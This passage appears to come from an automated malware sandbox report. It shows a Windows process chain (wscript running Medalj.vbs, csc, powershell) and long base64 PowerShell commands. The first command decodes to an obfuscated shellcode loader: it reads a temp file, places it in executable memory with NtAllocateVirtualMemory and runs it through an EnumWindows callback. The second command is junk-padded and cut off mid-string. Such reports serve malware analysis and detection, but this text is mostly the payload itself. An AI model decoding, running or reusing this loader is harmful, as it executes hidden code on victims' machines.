8AawBwADEALABJAG4AdABQAHQAcgAgAE0AYQBuAGkAbwBrAHAAMgAsAHIAZQBmACAASQBuAHQAMwAyACAATQBhAG4AaQBvAGsAcAAzACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADQAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBVAFMARQBSADMAMgAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEUAbgB1AG0AVwBpAG4AZABvAHcAcwAoAEkAbgB0AFAAdAByACAATQBhAG4AaQBvAGsAcAA1ACwAaQBuAHQAIABNAGEAbgBpAG8AawBwADYAKQA7AA0ACgANAAoAfQANAAoAIgBAAA0ACgAjAFIAdQBiAGkAbgBlAG0AYQBnAHQANQAgAE0AeQBrAGkAcwBzACAAUwB0AGUAbgBvADMAIABVAEQARABBAE4ATgBFAEwAUwBFACAARQBYAEEAQwBUAE4ARQAgAEwAYQB1AHIAIABNAG8AbwBuAGkAMQAgAEEARABKAE8AIABCAGUAbQB1AHIAMQAgAEkATgBTAFQAIABBAGQAagB1AHMAdAAgAEYAcgBlAHIAcAByAHYAZQA5ACAASABqAGUAcgB0AGUAYgBhAHIAIABGAGwAdQB0ACAASABlAGQAZQBuAHMAawByAGEAbQAgAEIAdQByAG0AYQBuAG4AaQBhACAAbQB1AGgAYQBtACAAQgBlAGcAeQAgAEgAdQBhAGgAdQBrAHUAbABpAHMAOAAgAEIAYQBnAGIAdQAyACAAVwBBAFIAUwAgAE0AYQBzAGsAZQBkAGIAdAB0ACAAZAByAHkAcABzACAAcwB0AG8AcABwAGUAZwAgAFMAdwBlAGUANQAgAFMATwBEAEYAIABiAGEAcgByACAATQBhAG4AZwBlAHIAcwBmAGwAYQA5ACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwAyAD0AIgAkAGUAbgB2ADoAdABlAG0AcAAiACAAKwAgACIAXAByAGUAdAB0AGUAdABhAHMAdAAuAGQAYQB0ACIADQAKACMAbgBvAG4AaABlAHIAZQBkACAAaQBuAGsAYQBzAHMAbwAgAEYAdQBsAGQAYgAgAFMAZQBsAHYAYQBuAGcAIABHAG4AaQBkAGQAZQAyACAAUwBVAFIATQBPACAAQgBPAEQASABJAFMAQQBUAFQAIABRAFUASQBTACAAZQBuAHMAcgBlAHQAdABlAG4AZAAgAGMAcgB5AHAAdABvAGQAaQByAGUAIABIAG8AbQBlAHIAbwBvAG0AcAAgAFMAUABBAFIARQBOAEQARQBTAFAAIABBAG4AdABpAGwAaQB0ACAARQBCAFUATABMACAARgBvAHIAYgAgAFYAaQBsAGQAZgBhADIAIABNAGkAbgBhAGUAYQAxACAAcwB5AGcAZABvAG0AZgBvAHIAbgAgAEEAbABtAGkAbgBkAGUAbAAgAEQAUgBVAEUAUwAgAA0ACgAkAFIATwBUAEEAVABJAE8ATgBGAE8AMwA9ADAAOwANAAoAJABSAE8AVABBAFQASQBPAE4ARgBPADkAPQAxADAANAA4ADUANwA2ADsADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA4AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgALQAxACwAWwByAGUAZgBdACQAUgBPAFQAQQBUAEkATwBOAEYATwAzACwAMAAsAFsAcgBlAGYAXQAkAFIATwBUAEEAVABJAE8ATgBGAE8AOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFIAZQBzAHUANQAgAFMAawBsAGQAdABlADMAIABNAEEARwBOAEUAVABJAFMATQAgAEsAYQBsAGsAdQA4ACAAQQBlAHMAYwAgAEQATwBSAEUAUwBUAEEAIABHAG8AYQBsAHAAbwAgAG4AYQB0AGIAbwByACAAUwB5AG4AZQByAGcAZQB0AGkAYwA0ACAARwB5AG4AYQBuAGQAcgBhADEAIABLAGwAYQB2AGkAIABXAEEATgBMAEEAIABHAGUAbABhACAAbQBpAGwAagBiAGUAcgAgAFQAbwBsAHMAZQB5AGwAIABlAHAAaQBwAGwAIABXAE8AUgBTAEgAIABDAG8AbABlAG0AIABBAG4AbgB1ADEAIABMAEUAVgBJAEcAQQBUAEkATgAgAHMAdABhAGIAcwBvAGYAZgBpACAAaQByAG8AbgAgAHUAYgBsAHUAZgByAGQAaQBnACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA0AD0AWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAVgBpAGEAYwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwAyACwAMgAxADQANwA0ADgAMwA2ADQAOAAsADEALAAwACwAMwAsADEAMgA4ACwAMAApAA0ACgAjAFAAVQBNAFAARQBSAE4ASQAgAEIAUgBFAFAAIABSAEUATgBOAEUAUwBJACAAQgBhAGIAYgBvACAAUwB0AHkAbAB0ACAATgBhAHoAaQBzAG0AZQBzAGMAYQAzACAAbABhAHQAZQBuAGUAZAByAGEAIABBAEwARwBFAEIAUgBBAEkAUwAgAEsAZQB0AHQAcQB1AGkAIABQAG4AZQB1AG0AYQAgAEEAZgBnAGkAZgB0ACAAdABlAG0AcABsAG8AIABTAEsASQBOAEQASwBBAEEAQgAgAEYAZQByAG4AaQBzAGUAcgBlADEAIAByAGUAYwB0AGkAZgBpAGUAIABSAEEARABJAE8AQQAgAGcAbABvAHMAcwBvACAAYgBlAHQAYQBsAGkAbgBnAHMAZQAgAEYAcgBpAHQAdQByAGUAMgAgAHMAdQBiAGUAdABoAGEAdAAgAG0AZQBtAG8AIABVAGQAYQByAGIAZQBqAGQAZQAzACAADQAKACQAUgBPAFQAQQBUAEkATwBOAEYATwA1AD0AMAA7AA0ACgAjAFMAdgBlAGwAbgBpACAAVABFAFIAUgBFAFMAVABSAEkAQQAgAEcAcgB1AG0AbQBlACAAUgBZAEQASABBAE4ARABHACAAUwBlAGMAbwBuAGQAZQAyACAAcgBlAHEAdQBpACAATQBFAFIAUwBUAEkARwBOACAARQBtAGIAcgB5AG8AbgBhACAASwBvAHIAcwB2AGUAagB0AHIAMwAgAGkAcwBkAGsAawBlAGQAIABTAHUAYgBiAGEAcwA0ACAAdgBlAGwAbABhAGIAYQBnAGIAIABuAG8AbgBmAGUAcgAgAFYAaQByAHQAdQBvAHMAIABLAFIATwBQAFMAUwAgAEsAQQBMAEYAIABBAG0AdABzAHIAYQBhAGQAcwBmADYAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoAQwBEAEEAQwAoACQAUgBPAFQAQQBUAEkATwBOAEYATwA0ACwAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAA1ADcAOQAzADMALABbAHIAZQBmAF0AJABSAE8AVABBAFQASQBPAE4ARgBPADUALAAwACkADQAKACMARABaAE8AVABPAE0ATQBFAFMASwAgAFUAZABzAGsAcgBpAG4AZwAgAFMAZQBtAGkAYQBtADYAIABQAHUAcgBsAGcAIABzAHkAdAB0AGUAbgBhACAASAB5AGQAcgAgAEUAdQByAGEAcwBpAGUAcgBlAG4AIABNAHUAbAB0ADMAIABVAG4AcwB3AGkAbgAgAEEAZAB2AG8AawA4ACAATQBhAHIAaQBuAGUAcwB0AGEAIABUAGUAbgBkACAAUABlAGwAdgBlAHMAcgB1AGEAdAA0ACAAaQBuAGQAZABhAHQAYQBmAGkAbAAgAEEAawBhAGQAZQBtAGkAcwAxACAARwBBAFIAVQBEAEEAIABFAHYAZQBuAHQAdQAxACAAUABSAEUAUwBFAE4AVABJAE0AIABEAGkAdgB1AGwANwAgAFMAcABpAGwAZABlAHYAYQAgAFMAdAB5AHIAawBlACAARgBvAHQAbwB0AGUAbAAgAEEAdQB0AG8AdAA1ACAARQBBAFIAVAAgAEgAeQBkAHIAYQBnAG8AZwB5ACAAQgByAGkAbgBjAGUAdQA5ACAAVAByAGkAcABsAHUAIAB1AG4AbwByAGEAbABlAHMAIABTAGsAZQBsAGUAIAANAAoAWwBSAE8AVABBAFQASQBPAE4ARgBPADEAXQA6ADoARQBuAHUAbQBXAGkAbgBkAG8AdwBzACgAJABSAE8AVABBAFQASQBPAE4ARgBPADMALAAgADAAKQANAAoADQAKAA== MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 392 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • csc.exe (PID: 4036 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\15yt3nse\15yt3nse.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)
        • cvtres.exe (PID: 4028 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8878.tmp" "c:\Users\user\AppData\Local\Temp\15yt3nse\CSC6AB740706204464FA33B93DBB15436C9.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)
      • ieinstal.exe (PID: 2480 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: 7871873BABCEA94FBA13900B561C7C55)
        • wscript.exe (PID: 2964 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Medalj.vbs" MD5: 4D780D8F77047EE1C65F747D9F63A1FE)
          • powershell.exe (PID: 6800 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQBwAG8AdAAxACAAbABhAHQAZQBjAG8AbQAgAGIAbABvAG0AIABUAFIAQQBGACAAUwBhAG4AcwBlAHQAIABGAEUARABUAEYAQQAgAA0ACgAjAGMAZQBuAHQAcgBhAGwAIABTAFkAUwBUAEUATQAgAFQAbwBrAHIAbwBuAGUAcwAyACAASwBBAFQAQQBQAFUAIABQAGgAbwB0AG8AaQBvADkAIABQAHIAbwBnAG4AbwBzACAATABJAFYATQAgAGIAbwBiAHMAbABlAGkAZwBoAGMAIABzAGwAZQBuAGQAcgBpAGEAIABzAG8AbABzAHQAcgBhAGEAIABCAEUAUwBUAFkAUgAgAEIAbwBuAGQAZQBzAG4AbgBlAHIAMwAgAFcAaAB5AGUAdgBlAHIAbQBpADkAIABQAGUAbgBnAGUAbgBkAGUAbgBzACAARABpAHYAYQByAGkAYwBhAHQAMQAgAFMAawBpAGwAZABlAHIAaAAgAEEATgBIAFkARABSAEkARABFAFMAIABSAGUAdABzAGcAeQBsAGQAaQAgAFMAdAByAGEAdAAgAE4ASQBLAEsARQBMAEgARgBUAEUAIABPAHAAZwBhAHYAZQBiAG8AZwAgAEMAbwBuAHMAdAA0ACAAUgBvAHMAaQBuAGIAOQAgAFAAQQBDAEsATQBBAEsAIABtAHkAcgBtAGUAawBpAHQAIABiAGEAYQBkAGUAbQBlAHMAdAAgAE4ATwBOAFMAUABFAEMAVQAgAG8AcgBrAGUAcwAgAEYAUgBFAE0ARgAgAEgAeQBkAHIAaQAgAEMAbwBsAG8AbgA1ACAADQAKACMAcwB5AGcAZAAgAGMAbABhAHIAaQBuAHQAcgAgAEgAVQBNAE8AUgBQAFIAIABLAEkATgBFAFMATwBEAEkAQwBTACAAUwBhAHYAYgB1AGsAcwBvAHYAOAAgAEQASQBTAEcAUgBVACAAUwBIAEEAUABFAFIAUABMACAARgBpAHMAawAgAFYAYQBsAHQAZQByAGIAaQBvACAARABpAHMAaQBuAGgAYQBiAGkANAAgAFMAdQBwAGUAcgBzAHUAYwAgAEQAZABzAGEAYQByAHMAYQBnADQAIABBAGIAcwB1AHIAZABlADEAIABDAEEATQBTAFQARQBBAFIAWQAgAEsAbwBtAG0AYQBuAGQAbwB2AGUANwAgAG0AaQBjAHIAbwBzACAAbwBnAGgAYQBtACAATgB5AGMAdABhAGwAbwBwADgAIABpAHIAcgBlAGYAbABlAGMAdABpACAATQBhAHMAdABpAGcAbwBwAGgAMgAgAHQAaQB0AGEAbgBvAG4AaQAgAEkAbQBkAGUAawBvACAAWgBBAEwATwBQAEgAVQAgAFMAZgB5AHIAIABwAHUAcgBzACAASABvAGwAZABuACAAaQBtAHAAYQBzAHMAaQB2AGkAIABwAGEAcABlAGcAIABrAHQAZQByAGUAcAByAG8AZgBlACAAUwB2AG8AdgBsAGsAIABTAHAAaQBsAGwAZQBkAGEAYQBzACAADQAKACMAZgBsAGIAZQB0AHMAdgBlACAAQQBEAEQASQBTAE8ATgAgAE8AVgBFAFIAIABmAG8AcgBsAGEAZABlAHIAIABSAGUAawB2AGkAcwBpAHQAbgBhACAAUgBlAHAAYQByAGEAdAAxACAATwBwAGQAYQB0ADYAIABFAG4AdABvAGMAeQBzACAAQwBIAEUARQBSACAAUwBwAGgAZQBjAG8AaQBkAGwAeQAgAFMAdABvAHUAIABGAGkAbgBhAG4AcwAgAE4AQQBOAE8ARwAgAGkAbwBkAG8AcABoAG8AcgBzAHMAIAB0AHIAaQBrACAAUwB1AG4AcwBoAGkAMgAgAEIAUgBBAE4ARABEAFIAUwBUAEgAIABTAHQAZQBhADcAIABVAE4ARABWAEkARwBFAFIAUgBFACAAUwBhAG4AZwBlAHIAaQAgAFMAaQBuAGQAcwAgAEsAVQBSAFMAVQBTAE0AIABPAHYAZQByAGcAIABEAEUARgBFAE4AIABSAEUATQBQAEwAQQBDAEUAIABMAHUAawBzAHUAcwAzACAAcABsAHUAbQByAGUAIABSAEUAVgBJAFMASQAgAEkAbQBwAHIAZQBnAG4AaQAxACAAcwBjAGgAbAB1AG0AcAAgAE0AYQB2AGUAZgBvADkAIAANAAoAIwBvAGYAZgBlAG4AIABGAG8AcgBzAHQAYQBuACAAQgBJAEYASQBHAFUAUgAgAEUAdgBlAHIAYgBlAGEAcgBlAHIAMgAgAHMAbQByAGkAbgBnACAAVQBuAGUAcQB1AGEAMQAgAG0AZQB0AGUAcgBwAG8AIABQAEUAUgBTAE8ATgBBAEwARQAgAGIAagBkAGUAIABHAFkAUABTAFUAIABTAEEATgBEAEYATAAgAEQASQBTAFQAUgAgAE4AaQBsAHYAZQA0ACAAdABlAHMAdQAgAG0AaQB6AHoAbwBuAGkAIABTAHYAYQBsAGUAcgBvAGQAZQAgAEsAdgBpAGsAcwBsADUAIABIAFkARABSAE8ARQBMAEUAQwAgAFQAagB1AHIAZQBuAGwAYQB5AHUAIABNAGEAdAByAGEAbgA2ACAAUgBVAFMAVAAgAE8AcABpAHMAIABNAG8AcgBzAG8AbQBoAGUAZABlADcAIABUAHIAZgBvAGQAZQByAGUAMQAgAEEAUwBIAEUAUwBNAE8AIABCAFIATwBCAEEATgBFAFIAIABSAE8AQgBPAFQAIABqAG8AdQByAG4AYQBsAGkAcwB0ACAAUwBMAFYARQBSAEcAIAANAAoAIwBCAEEAVABPAEQARQBOAEQAIABQAG8AbAB5AGYAZQBuAGUAIABTAHkAbgBvAHAAdABpACAASwBvAG4AdABpAG4AZQA0ACAAVABvAGsAYQB5AGUAcgBlAG4AIABPAFIARABSACAAQwBsAG8AYwBlAHIAcwBvAGwAIABOAG8AcgBkAHMAdABlAGYAIABDAEEAUgBHAE8AIABRAHUAaQByADgAIABVAE4ATgBVAE0AIAB1AGQAZABhAHQAYQBmACAATQBhAGsAcgBvADUAIABuAHUAbQBlAHIAbwAgAEEAbABsAG8AZABpAGEAbABpAHMANAAgAGMAcgBlAGEAdABpAG8AbgBlAG4AIABBAG4AdABpAHAAcgBvAHQAZQBvACAASQBuAGQAYgBpAGwAZAB0ACAADQAKACMAUgBlAGcAcgBlADQAIABwAHUAbgBrACAAUwBpAG4AZABzAGIAZQB2ADkAIABCAGUAcgBsAGkAbgA3ACAAQwBhAHUAcwBlACAAQgBsAGEAdAB0AG8AaQBkAGUAYQAgAHMAdABvAHIAdAAgAFUARABWAEkASwBMACAAQgBlAHIAcwByAGsAZQByADgAIABQAGEAcgBpAGEAZQBuAHUAbgA4ACAARgBMAEEARABUACAARABpAHMAcgB1AHAAdAAxACAAQQBNAFAAVQBMAEwAQQBSAEgAIABhAG4AaQBzAGIAbwAgAHYAYQBsAHUAYQAgAEMAbwBlAHgAZQA3ACAATABOAEcAUwBMACAAQQBHAFQARQBSAFMAUABFACAARgBsAG8AdAB0AGUAbgAgAEkAbQBwAGEAbABzAHkAcABsAHUAIABEAGUAbgB0AGEAbABpAHUAIABCAHIAbQBlACAAdAByAHIAZQB0AHUAbQBiAGwAZQAgAFIAYQBuAGcAbwByAGQAbgAgAEMAbwBuAGYAIABHAHIAYQBuAHYAbwBrAHMAbgAzACAAUwBpAG0AdQBsAHQANAAgAA0ACgAjAFAAbwBsAGQAbwAgAGMAZQBuAHQAZQByAGsAbAAgAEEAcQB1AG8AYwBlAGwAIABzAGsAYQBuAGQAaQBuAGEAdgBlACAAUwB3AGkAbgBnAGUAZgByAGkAawA3ACAAUABMAEEAVABJAEUAUwBUAEUAIABsAGEAdQByACAARABlAHMAaQAgAEYAbwByAG0AYQBuAGUAZABlACAATwBwAGgAdAAgAFMAZQByAG0AbwBuAGkAYwBzAGIAIABNAGMAYgByADYAIABTAGsAbwBsAGUAYgBvACAARgByAGEAZAByAGEAZwBzADQAIABHAEUATQBNAEEAVABFAEQAIABSAG8AcwB0AHIAbwBiAHIANQAgAEoAYQBjAGkAIABTAHQAbwByAG0AZwB0ADkAIABNAG8AcgBkAGEAbgBjAHkAcwBhADIAIABDAG8AcgBpADQAIABkAGkAcwBzAGUAIABTAHQAYQBkAHMAaQBuAGcANgAgAEIAWQBHAEcARQBUAEkATABMACAADQAKACMAZwBsAGQAZQBsAGEAbQAgAEIAaQBsAGwAZQBkADQAIABTAHUAYgBhAGkAZABpAHMAIABTAFkATgBDAEUAUgBFACAAbABpAHQAaABvACAAUwBQAE4ARABJAE4ARwBTAFIAIABFAHMAdAByAHUAcABsAHUAbgBkACAATwBQAFQAUgBWACAAUABSAE8AVABPAEIAQQAgAGsAZQBlAHAAdwBvACAAUABpAG4AawBuAGUAcwAgAFUAZABtAG4AcwB0AHIAZQBzAGgAIABGAGcAdABuAGkAbgBnAGUAcgBuADMAIABCAGkAcgBkAGUAcwBlAG4AYQAxACAAZABpAGwAdQB2ACAAVwBvAHIAdABoADcAIABLAFUAUgBFAE4AUwAgAA0ACgAjAHQAdgBhAG4AZwBzACAAVABpAGwAawBiAGMAaAA2ACAAVABFAFIATgBJACAAVQBoAGQAZQByAGwAaQBnAHUAMQAgAEYAUgBFAE0AIABIAHkAcABlADIAIABQAHIAZQBkAGEAbQBuAGEAdAA1ACAAUAByAG8AdgBlAG4AMQAgAGEAbgBhAGIAYQBlAG4AYQB2AGUAIAANAAoAIwBQAEEARABEAE8ASQBOAEcAIABTAGwAdQBzAGgAaQAgAEMAeQBjAGwAIABCAGwAbwBrAGEAMgAgAG0AaQBlAGsAZQBzACAAVQBOAEMATwBOAEYAIABnAGUAbgBmAG8AcgAgAEgATgBHAEUASwBKAEUAUgAgAEwAcgBlAHIAawBhAG4AZABpAGQAIABEAEkAWABJAEUAUwBVAEQAQQBBACAAUwBLAFIAVQBFAEEASwAgAA0ACgAjAHMAdQBlAHMAcwBpACAAUwBwAGEAYQBuAHMAawByACAARgBvAHIAbgA2ACAAQwBlAHIAYQB0ADEAIABEAGEAbQBtACAAQwBvAGwAbwByADIAIABDAEEATABDAEEAIABUAEoARQBOAEUAIABTAHUAbgBzAGUAZQA5ACAADQAKACMASAB1AHMAZgByACAASwByAGkAdABpAGsAbABvAGUANAAgAEEAbABnAG8AcgA2ACAAYgBpAHYAYQBsAHYAaQBhAG4AYgAgAGgAbwBsAG8AYwBoACAASAB5AGQAcgAyACAAQgBFAFAAQQAgAFYAYQBjAGMAIAB1AHAAZABpAHYAaQBuAGcAYgAgAFMAbQB5AGcAZQBzAGkAbAA0ACAAWgB5AGcAbgBlAG0AYQBtAGUAOAAgAE4AbwBuAGMAbwBuAHQAaQA3ACAAbQB1AGwAaQBlAHIAdAB5ACAARQBwAGkAdABhAHAAaABpADkAIABwAGYAZQBuAG4AaQBuACAASABFAE4ARgAgAGwAaQBxAHUAaQBmAGkAZQByACAAQQB0AG0AbwBzAHAAaABlAHIAaQA0ACAARQBSAE4AUgAgAFQAeQB2AGUAcgBpAGYAbwA2ACAAUgBlAHQAbABpADQAIAANAAoAIwB1AG4AcABhAHIAbwAgAFUAZABkAGUAMwAgAEgAeQBwAGUAcgBlACAASwBWAEkAVgBBAEwAUgBTACAAUwBtAHUAdABoADYAIABJAFIAUgBBAFQAIABLAE8AUgBQAFMARQBMAEkATgAgAE0AZQBzAG0AZQByADUAIABTAGsAaQBuAGQAdAAgAGMAdABlAG4AbwAgAEYAbAB1AHMAdABlAHIAaQAgAHAAbABhAHMAdABpAGMAIABEAG8AbQBpAG4AaQB6AGkANAAgAE4ARQBHAEEAVABJAFYARQBTAEYAIABMAGkAbgBpAGUAdABlAGcAbgBpADUAIABGAEwAQQBHAFMAVAAgAHMAaQBsAHYAZQByAGIAbwAgAEQASQBTAEMATwBVACAAVQBuAHMAdQBiAG8AcgBkAGkAIABTAHYAaQBuAGQAbABlAHIAIAANAAoAIwBjAG8AbgBmAGUAIABvAGIAbABpAGcAIABTAGwAdQBtAHAAZQA5ACAAawBvAG4AdABvAG4AdQBtAG0AZQAgAFYARQBMAEcAUgBFAFIARQBOACAAawBpAGwAZABlAHAAIABBAE4AVABJAFIAQQBDAEkAQQBMACAAVQBEAEwAQgBFAE4ARQBVAE4ASQAgAEkAUgBSAEUAUwAgAFMARQBBAE0ATABFAFQAIABBAG4AZABlAG4AYgBlAGgAYQBuADQAIAB0AHIAaQBsAGkAdABoAGEAIAB0AHIAaQBnAGEAbQBhAHIAbAAgAEkAbgB0AGUAcgBzAHUANAAgAEMASABFAEMASwBFAFIAIABIAEUAWABBAEMATwBMACAARgBMAEUAUgBCAFIAVQBHACAAZwBsAGEAdABiAGEAIABSAHUAdAB5AGwAZQAgAEMAbwBwAHAAZQByADcAIAANAAoAIwBiAHIAdQBnAGUAcgBtACAAUwB0AGkAbgBrAGUANwAgAFQAbwBlAHIAZQAgAEQAZQBnAGEAYQByAGQAIABWAGEAcwBjAG8AbgB2AGkAdAAgAEQAZQBwAG8AcwBpAHQAdQAgAEUAaQBjAG8AcwBhADkAIABQAGUAcgBvAGIAcgBhAGMAOAAgAFMARQBLAFUATgBEAFIATABJAFQAIABEAGUAbgB1ACAADQAKACMAbQBmAGkAawBrAGUAbgBzACAAaQBuAHQAZQByAHMAIABWAGEAbABnAGsAcgBlAGQAcwBlACAAUAByAG8AcwBpAGYANAAgAGsAbABlAG0AcwBrAHIAdQAgAFQAaQBsAG4AYQAgAFAAYQByAHQAaQBrAGEAbQAzACAAQQBwAHAAbwBpAG4AdABlAHIAIABUAHIAeQBrAGkAbQBwADgAIABUAG8AaQBsAGUAdAA4ACAAQgBFAFQATABFAEgARQBNAFMAUwAgAEgAZQBwAHQAMgAgAFAAbwBzAHQAcAB1ADQAIABMAHkAcwBpADcAIABvAHAAbQB1AG4AdAByAGkAbgBnACAAUwBQAE8ATwBNAFAAUgBHAEUAVAAgAGMAbwB3AGIAbwB5AGUAcgB0ACAARgBPAFIATABOAEcAUwBUACAAZgBhAGkAcgBsAGUAYQBkACAAVABBAFIASQBGAEUAIAANAAoAIwBVAG4AdgBvACAAUwBvAHAAcgA5ACAAbgBvAG4AcwAgAG4AbwBuAGEAYgBzAG8AcgAgAE0ATwBOAEUAWQBBAEcARQAgAHAAbwBzAHQAawBvACAAYwBhAHIAcABvAHAAdAAgAEMAbwBuAGMAaQBvAG4AIABUAEUAVgBBAE4ARABGACAAVABFAEwARQAgAEQAaQBzAHAAcgBlAGoAdQAgAFQAYQBsAGwAaQB1AG0AbQBlAHQAOQAgAGIAdQByAG8AZQBrAHMAYQBtACAAbQB1AGwAdABpAGwAaQAgAHMAawBhAHIAcABzACAAYQBuAHQAaQBrAGsAZQBuACAAYQBtAGIAdQBzACAASwByAGEAZgB0AHUAZAB0ADgAIABVAG4AZABlAHIANgAgAEsAbwBkAHUAcgBpAHQAZQBkADgAIABJAE4AVABFAEwATABJAEcARQAgAFMASQBEAEUATAAgAE0AYQB5AG8AbgBuAGEAaQBzACAAVABBAEIARQBMAEwAQQBSAEkAQQAgAA0ACgAjAEEAUgBCAEEAQwBJAE4AVwBBACAAUABhAHIAbwB4AHkAdABvAG4AMQAgAFMAcQB1AGEAbQBhAHQAZQBkAHIAMwAgAEwAaQBnAGIAcgBuAGQAMQAgAEkATgBUAFIATwBQAFUATABTACAATQBhAG4AZQByAG4AZQBzAGkAIABCAEEAQQBEAFQAWQBQAEUAIABBAHYAbwB3AHMAbQAgAGYAbwByAHYAIABMAHUAbQBwADY